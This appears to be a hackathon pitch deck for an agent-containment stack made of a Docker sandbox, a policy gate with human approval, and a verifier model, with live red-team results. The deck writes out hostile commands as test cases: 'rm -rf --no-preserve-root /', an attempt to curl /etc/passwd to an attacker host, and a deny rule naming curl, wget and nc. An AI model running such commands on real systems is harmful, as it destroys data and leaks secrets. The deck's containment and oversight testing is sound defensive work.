AITeCXO
INNOVATE · IMPLEMENT · INTEGRATE.

VULTR AGENT RUSH · CHALLENGE 01

Blast Radius Zero.

An agent you can actually let touch production — sandboxed, gated, and verified at runtime.

Tim Andrus · AITeCXO · github.com/TimothyJAndrus/vultr-trusted-agent

Sandboxed · Gated · Verified

THE PROBLEM

The model was never the blocker — trust was.

Companies stall on agents because of three unanswered questions. A real shell turns every one of them into an incident.

ACCESS

What can it touch?

An unscoped shell can reach every file, secret, and network the host can.

ACTION

What can it do without asking?

Destructive commands run the instant the model picks them — no human in between.

TRUTH

When it says "done," is it?

A confident report with no evidence is just a hallucination with authority.

ARCHITECTURE

One control plane, four stages — every LLM call runs on Vultr Serverless Inference.

CONTROL PLANE | **Browser ▶ FastAPI · Vultr VM** Holds the only secret. No GPUs — every model call is serverless.

01

Plan

Vultr Serverless · glm-5.3

Plans the work and picks the tool calls.

02

Gate

agent-guardrails policy gate

allow / deny / hold for human — hash-chained audit of every decision.

03

Run

Docker sandbox · one per task

Runs it, returns a receipt, then is destroyed.

04

Verify

Vultr Serverless · qwen3.8-27b

Checks every claim against receipts → VERIFIED / UNSUPPORTED.

SANDBOX CONSTRAINTS: no network | no env | read-only root | uid nobody | cap-drop ALL | 256 MB | 0.5 CPU | 64 PIDs | 20 s

Container destroyed after every run

CONTAINMENT MOMENT

A human approved `rm -rf /`. Nothing outside the sandb moved.

Red-team mode: no model in the loop. Containment can't depend on the model choosing to refuse — so this run proves it doesn't.

Blast radius: zero

Measured on the live Vultr VM

LIVE RUN · `rm -rf --no-preserve-root /`

Four layers each stopped it — the sandbox absorbed the rest.

POLICY GATE	Held for human approval — rule `destructive-needs-human`.
HUMAN	Approved, deliberately — to test the layers below, not to block here.
SANDBOX	`rm: cannot remove '/opt': Read-only file system` · still 20 entries · process is uid 65534 (nobody).
HOST	Canary file unreachable and unchanged · **0 containers left.**

Measured on the live VM — a deliberately approved destructive command

BLAST RADIUS: ZERO

POLICY GATE · THREE APPROVAL FLOWS

Every tool call hits the gate — three outcomes, one tamper-evident trail.

FLOW 1 · ALLOW

1. **Agent requests tool call**
   `write_file · sha256.py`
2. **Policy gate evaluates rules**
   No destructive pattern matched — auto-allowed, no human needed.
3. **Sandbox executes**
   Runs in isolated container, returns receipt with stdout + exit code.
4. **Verifier checks receipt**
   Cross-checks sha256sum output → VERIFIED ×3 runs.

✓ **ALLOWED** Audit entry written · container destroyed

FLOW 2 · HOLD → APPROVE

1. **Agent requests destructive call**
   `run_shell · rm -rf /`
2. **Gate fires `destructive-needs-human`**
   Execution paused. Human approval request queued.
3. **Human reviews & approves**
   Deliberate approval — to test containment layers below, not to block here.
4. **Sandbox absorbs the blast**
   Read-only root, uid nobody — host canary file unchanged. Blast radius: zero.

HELD → APPROVED Sandbox contained · host intact

FLOW 3 · DENY

1. **Agent requests exfil tool**
   `run_shell · curl <attacker>`
2. **Gate fires `no-exfil-tools`**
   curl, wget, nc matched — hard deny, no human escalation.
3. **Execution never reaches sandbox**
   Denied at the gate — no container spawned, no network touched.
4. **Verifier flags the claim**
   No receipt exists → UNSUPPORTED on any claim the agent makes.

✗ **DENIED** Audit entry written · no container spawned

MEASURED ON THE LIVE VM

Every scenario went through the gate — nothing shipped without a receipt.

SCENARIO	GATE	VERIFIER
`Write + run a SHA-256 script`	ALLOWED ×3	**VERIFIED** — R1–R3, cross-checked with `sha256sum`
`rm -rf /`, human approves	HELD → APPROVED	Sandbox absorbed it — host intact
`Read /etc/passwd`, curl it out	CURL DENIED no-exfil-tools	**UNSUPPORTED** on claims with no receipt

THE THROUGH-LINE

Hash-chained audit verifies after every run — so an approved command, a denied tool, and an unsupported claim all leave the same tamper-evident trail.

MARKET POSITION

Each category solves one problem. The Trusted Agent Stack is the only one solving all three at runtime.

	Contains actions	Gates + approvals	Verifies claims
E2B / microVM sandboxes	✓	✗	✗
Policy / guardrail SDKs	✗	✓	✗
Offline eval tools	✗	✗	offline only
Trusted Agent Stack	✓	✓	**✓ at runtime**

Platform and DevOps teams putting agents on operational work · Open-core; hosted approvals + audit per agent seat; implementation via AITeCXO

WHAT'S NEXT

Hardening the boundary, scaling the pattern, and scoring the trust.

01 **A kernel boundary on top of the container**
gVisor (runsc) runtime, plus pod-per-task on Vultr Kubernetes Engine.

02 **Scoped, short-lived credentials per call**
agent-credential-broker — so no single long-lived secret sits on the VM.

03 **Persistent audit with authenticated approvers**
Approvals routed through Slack / email, with the identity recorded.

04 **Score the verifier with agent-trap-evals**
Measure verifier off vs. on — turning "it verifies" into a number.

Honest limits are listed in the README

Built Nov 8, 2026 · agent-guardrails (MIT, same author) is disclosed prior work

AITeCXO

BLAST RADIUS ZERO

Give your agents a real shell — and keep the blast radius at zero.

Access, action, and truth — all solved at runtime: sandboxed so it can't reach beyond the task, gated so a human holds every destructive move, verified so "done" always comes with receipts.

THE ASK

Put the Trusted Agent Stack in front of one operational agent and watch the audit trail. Without it, every "done" is a claim you're trusting on faith — and the first false one is an incident.